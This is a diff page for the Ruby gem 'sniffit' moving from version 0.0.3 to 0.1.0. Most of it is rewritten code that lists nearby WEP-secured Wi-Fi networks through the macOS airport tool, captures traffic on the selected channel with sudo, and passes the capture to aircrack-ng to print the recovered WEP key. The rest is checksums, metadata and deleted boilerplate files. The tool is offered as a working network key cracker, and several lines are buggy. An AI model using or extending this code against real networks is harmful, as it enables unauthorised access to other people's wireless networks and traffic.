sniffit 0.0.3 → 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 4101293b2bfe1e587afa33c79346b5f6108c4950
4
- data.tar.gz: c6d2a28b60f7a55b42fb799a4d74f717da112816
3
+ metadata.gz: 5a9982fc85d0987283511b6eca329d63d90b3e97
4
+ data.tar.gz: b59be4d0f2d07efdc4c5abe84b03c7a5bcb27517
5
5
  SHA512:
6
- metadata.gz: 5c21380c6493b0873ca3dabd8ef201dd505c559164a5fc563d3da2a56d2d30a73d94df2a5aac6f72b38fb6a0a0ab2eb1e73bee7ee88ba7b6a97fe958d2f7c9b0
7
- data.tar.gz: 991326cac108dc0f273c1fee3920822ce655799c1bdb12671a8b13186a5df57d71eb0fb3b1dd01cd563b6eca6e73d05cc5a8a81e9cd469e30fd5702de5dbcc98
6
+ metadata.gz: d240bd77151574682f50b54ec3133045de3f51e6cd9e9b4ed08a44093feea20860830f5991ba334ffe391f55eeae93fed2c7c804d6b15bf80dd61b386a387d4a
7
+ data.tar.gz: e18296ef389d0bf45a09d1d107c05f1d92a5eb6f22c02e2dbfd609ab968723c748b4df44b8238c45e049782681ccc77a09ae94d05493f71f9f9fa4e0a35487e8
@@ -1,6 +1,49 @@
1
1
  #!/usr/bin/env ruby
2
2
 
3
- require 'sniffit'
3
+ require "sniffit"
4
4
 
5
- client = Sniffit::ScriptClient.new()
6
- client.start()
5
+ begin
6
+
7
+ sniffer = Sniffit::Sniffer.new
8
+
9
+ networks = sniffer.find_wep_networks()
10
+
11
+ networks.each_with_index do |ntwk,idx|
12
+ puts "#{idx}. #{ntwk.ssid} #{ntwk.strength.to_s}%"
13
+ end
14
+
15
+ print "Enter a network's number: "
16
+
17
+ selected_idx = STDIN.gets.chomp.strip.to_i
18
+ network = networks[selected_idx]
19
+
20
+ puts "Sniffing for packets..."
21
+
22
+ sniffer.sniff(network)
23
+
24
+ Sniffit::Looper.every_n_seconds(1) do
25
+ size = File.size(sniffer.cap_file)
26
+ size = 0 if size == nil
27
+ puts "#{size.to_s} Bytes of network traffic"
28
+ end
29
+
30
+ Sniffit::Looper.every_n_seconds(20) do
31
+ size = File.size(sniffer.cap_file)
32
+ size_diff = size - @previous_size
33
+ @previous_size = size
34
+
35
+ if size_diff > 10000000 # every 10MB
36
+ key = sniffer.crack(network.bssid)
37
+
38
+ if key == nil
39
+ puts "Not enough network traffic... Sniffing..."
40
+ else
41
+ puts "SUCCESS: WEP key => #{key}"
42
+ exit
43
+ end
44
+ end
45
+ end
46
+
47
+ rescue StandardError, Interrupt
48
+ puts "\nSee ya next time!"
49
+ end
@@ -1,129 +1,80 @@
1
1
  #!/use/bin/env ruby
2
2
 
3
- module Sniffit
4
- class ScriptClient
5
-
6
- @previous_size = 0
7
-
8
- def get_interface()
9
- string = IO.popen("/sbin/infconfig en0")
10
- is_active = string.chomp.strip.split(/\n/)[-1].split(": ")[-1].strip == "active"
11
-
12
- if is_active == true
13
- return "en0"
14
- else
15
- return "en1"
16
- end
17
- end
18
-
19
- def get_airport_file()
20
- "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport"
21
- end
3
+ AIRPORT_EXECUTABLE = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport"
22
4
 
23
- def get_available_nets(string)
24
-
25
- lines = string.split(/\n/)
26
- lines.delete_at(0) # removes the "title" line
5
+ module Sniffit
27
6
 
28
- workable_lines = lines.collect { |line|
29
- split_line = line.strip.split(/\s+/)
30
- split_line.each do |l|
31
- l.strip
32
- end
33
-
34
- split_line.delete_at(4)
35
- split_line.delete_at(4)
36
-
37
- split_line
38
- }
7
+ class Network
8
+ attr_accessor :ssid, :bssid, :strength, :channel
9
+ end
39
10
 
40
- workable_lines.select { |comps|
41
- comps[4].include?("WEP")
42
- }
43
- end
44
-
45
- def print_networks(network_arrays)
46
- if network_arrays.count == 0
47
- puts "There are no WEP networks nearby to crack..."
48
- return false
49
- elsif network_arrays.count > 0
50
- puts "XXXX Select a network from below by entering the number to the left of it"
51
- network_arrays.each_index { |idx|
52
- netarray = network_arrays[idx]
53
- strength_percent = 100-(netarray[2].strip.gsub(/-/,"").to_i)
54
- puts "#{idx}. #{netarray[0].to_s} => #{strength_percent}"
55
- }
56
- selected_idx = STDIN.gets.chomp.strip.to_i
57
- network_arrays[selected_idx]
11
+ class Looper
12
+ def self.every_n_seconds(n)
13
+ loop do
14
+ before = Time.now
15
+ yield
16
+ interval = n-(Time.now-before)
17
+ sleep(interval) if interval > 0
58
18
  end
59
19
  end
60
-
61
- def start_sniffing(channel)
62
-
63
- Dir.foreach("/tmp/") do |filename|
64
- if filename.include?(".cap")
65
- system("sudo rm /tmp/#{filename}")
66
- end
67
- end
20
+ end
68
21
 
69
- IO.popen("sudo #{get_airport_file()} #{get_interface()} sniff #{channel}").read
22
+ class Sniffer
23
+
24
+ attr_reader :cap_file,:networks
25
+
26
+ def self.sniff
27
+ Sniffit::Sniffer.new.start()
70
28
  end
71
-
72
- def commence_cracking(bssid)
73
- # I know... multiple cap files, see start_sniffing(), it should ameliorate the situation
74
- # XXX Assume there is a cap file in /tmp already...
75
-
76
- capfiles = Dir.entries("/tmp/").select { |filename|
77
- filename.include?(".cap")
78
- }
79
-
80
- if capfiles.length > 0
81
- output = IO.popen("aircrack-ng -b " + bssid + " /tmp/#{capfiles[0].chomp.strip}").read.chomp.strip
82
29
 
83
- failed = output.split("Failed. Next try with").length > 1
84
- number_ivs = output.split("keys (got")[1].chomp.strip.split(" ")[0].chomp.strip.to_i
85
-
86
- if failed == true
87
- puts "FAILED: #{number_ivs} IVs, trying again"
88
- elsif
89
- key = (output.split("KEY FOUND! [ ")[1].split(" ")[0]).chomp.strip.gsub(/:/,"") # KEY FOUND! [ 1F:90:11:0D:A6 ]
90
- puts "SUCCESS: key => #{key}"
91
- @periodic_job.cancel
92
- end
30
+ def initialize
31
+ super
32
+ @previous_size = 0
33
+ end
34
+
35
+ def find_wep_networks()
36
+ networks = `#{AIRPORT_EXECUTABLE} scan | grep WEP`.split(/\n/)
37
+
38
+ networks.map! do |line|
39
+ parts = line.strip.split(/\s+/)
40
+ network = Sniffit::Network.new
41
+ network.ssid = parts[0]
42
+ network.bssid = parts[1]
43
+ network.strength = 100+parts[2].to_i
44
+ network.channel = parts[3]
45
+ network
93
46
  end
47
+
48
+ return networks
94
49
  end
95
-
96
- def every_n_seconds(n)
97
- loop do
98
- before = Time.now
99
- yield
100
- interval = n-(Time.now-before)
101
- sleep(interval) if interval > 0
50
+
51
+ def sniff(network)
52
+ return false if network.is_a?(Network) == false
53
+
54
+ before_cap_files = Dir.entries("/tmp/").select { |filename|
55
+ filename.include?(".cap")
56
+ }
57
+
58
+ Thread.new do
59
+ `sudo #{AIRPORT_EXECUTABLE} sniff #{network.channel}`
102
60
  end
61
+
62
+ after_cap_files = Dir.entries("/tmp/").select { |filename|
63
+ filename.include?(".cap")
64
+ }
65
+
66
+ @cap_file = (after_cap_files-before_cap_files).first
67
+ puts @cap_file
68
+ return true
103
69
  end
70
+
71
+ def crack(bssid)
72
+ cracking_output = `aircrack-ng -b #{bssid} /tmp/#{@cap_file}`.strip
104
73
 
105
- def start()
106
- scan_string = IO.popen("#{get_airport_file()} scan").read
107
- workable_nets = get_available_nets(scan_string)
108
- selected_network = print_networks(workable_nets)
109
-
110
- if selected_network != false
111
- start_sniffing(selected_network[3])
112
-
113
- every_n_seconds(20) do
114
- size = IO.popen('ls -l /tmp | grep airport').read.strip.gsub(/\s+/," ").split(' ')[4].to_i
115
-
116
- size_diff = size-@previous_size
117
- @previous_size = size
118
-
119
- if size_diff > 10000000 # every 10MB
120
- commence_cracking(selected_network[1])
121
- end
122
- end
123
-
124
- end
74
+ failed = cracking_output.split("Failed. Next try with").length > 1
75
+ return nil if failed
76
+ return output.split("KEY FOUND! [ ")[1].split(" ").first.strip.gsub(/:/,"")
125
77
  end
78
+
126
79
  end
127
- end
128
-
129
-
80
+ end
metadata CHANGED
@@ -1,43 +1,15 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: sniffit
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.3
4
+ version: 0.1.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Nathaniel Symer
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2013-06-26 00:00:00.000000000 Z
12
- dependencies:
13
- - !ruby/object:Gem::Dependency
14
- name: bundler
15
- requirement: !ruby/object:Gem::Requirement
16
- requirements:
17
- - - ~>
18
- - !ruby/object:Gem::Version
19
- version: '1.3'
20
- type: :development
21
- prerelease: false
22
- version_requirements: !ruby/object:Gem::Requirement
23
- requirements:
24
- - - ~>
25
- - !ruby/object:Gem::Version
26
- version: '1.3'
27
- - !ruby/object:Gem::Dependency
28
- name: rake
29
- requirement: !ruby/object:Gem::Requirement
30
- requirements:
31
- - - '>='
32
- - !ruby/object:Gem::Version
33
- version: '0'
34
- type: :development
35
- prerelease: false
36
- version_requirements: !ruby/object:Gem::Requirement
37
- requirements:
38
- - - '>='
39
- - !ruby/object:Gem::Version
40
- version: '0'
11
+ date: 2013-12-28 00:00:00.000000000 Z
12
+ dependencies: []
41
13
  description: Scan for WEP-secured wireless networks and find their WEP key. Requires
42
14
  OS X and aircrack-ng
43
15
  email:
@@ -47,14 +19,8 @@ executables:
47
19
  extensions: []
48
20
  extra_rdoc_files: []
49
21
  files:
50
- - .gitignore
51
- - Gemfile
52
- - LICENSE.txt
53
- - README.md
54
- - Rakefile
55
- - bin/sniffit
56
22
  - lib/sniffit.rb
57
- - sniffit.gemspec
23
+ - bin/sniffit
58
24
  homepage: http://natesymer.com
59
25
  licenses:
60
26
  - MIT
@@ -78,6 +44,5 @@ rubyforge_project:
78
44
  rubygems_version: 2.0.3
79
45
  signing_key:
80
46
  specification_version: 4
81
- summary: Scan for WEP-secured wireless networks and find their WEP key. Requires OS
82
- X and aircrack-ng
47
+ summary: Cracks WEP keys.
83
48
  test_files: []
data/.gitignore DELETED
@@ -1,17 +0,0 @@
1
- *.gem
2
- *.rbc
3
- .bundle
4
- .config
5
- .yardoc
6
- Gemfile.lock
7
- InstalledFiles
8
- _yardoc
9
- coverage
10
- doc/
11
- lib/bundler/man
12
- pkg
13
- rdoc
14
- spec/reports
15
- test/tmp
16
- test/version_tmp
17
- tmp
data/Gemfile DELETED
@@ -1,4 +0,0 @@
1
- source 'https://rubygems.org'
2
-
3
- # Specify your gem's dependencies in sniffit.gemspec
4
- gemspec
@@ -1,22 +0,0 @@
1
- Copyright (c) 2013 Nathaniel Symer
2
-
3
- MIT License
4
-
5
- Permission is hereby granted, free of charge, to any person obtaining
6
- a copy of this software and associated documentation files (the
7
- "Software"), to deal in the Software without restriction, including
8
- without limitation the rights to use, copy, modify, merge, publish,
9
- distribute, sublicense, and/or sell copies of the Software, and to
10
- permit persons to whom the Software is furnished to do so, subject to
11
- the following conditions:
12
-
13
- The above copyright notice and this permission notice shall be
14
- included in all copies or substantial portions of the Software.
15
-
16
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17
- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18
- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
19
- NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
20
- LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
21
- OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
22
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
data/README.md DELETED
@@ -1,29 +0,0 @@
1
- # Sniffit
2
-
3
- TODO: Write a gem description
4
-
5
- ## Installation
6
-
7
- Add this line to your application's Gemfile:
8
-
9
- gem 'sniffit'
10
-
11
- And then execute:
12
-
13
- $ bundle
14
-
15
- Or install it yourself as:
16
-
17
- $ gem install sniffit
18
-
19
- ## Usage
20
-
21
- TODO: Write usage instructions here
22
-
23
- ## Contributing
24
-
25
- 1. Fork it
26
- 2. Create your feature branch (`git checkout -b my-new-feature`)
27
- 3. Commit your changes (`git commit -am 'Add some feature'`)
28
- 4. Push to the branch (`git push origin my-new-feature`)
29
- 5. Create new Pull Request
data/Rakefile DELETED
@@ -1 +0,0 @@
1
- require "bundler/gem_tasks"
@@ -1,22 +0,0 @@
1
- # coding: utf-8
2
- lib = File.expand_path("../lib", __FILE__)
3
- $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
4
-
5
- Gem::Specification.new do |spec|
6
- spec.name = "sniffit"
7
- spec.version = "0.0.3"
8
- spec.authors = ["Nathaniel Symer"]
9
- spec.email = ["nate@natesymer.com"]
10
- spec.description = %q{Scan for WEP-secured wireless networks and find their WEP key. Requires OS X and aircrack-ng}
11
- spec.summary = spec.description
12
- spec.homepage = "http://natesymer.com"
13
- spec.license = "MIT"
14
-
15
- spec.files = `git ls-files`.split($/)
16
- spec.executables = ["sniffit"]
17
- spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
18
- spec.require_paths = ["lib"]
19
-
20
- spec.add_development_dependency "bundler", "~> 1.3"
21
- spec.add_development_dependency "rake"
22
- end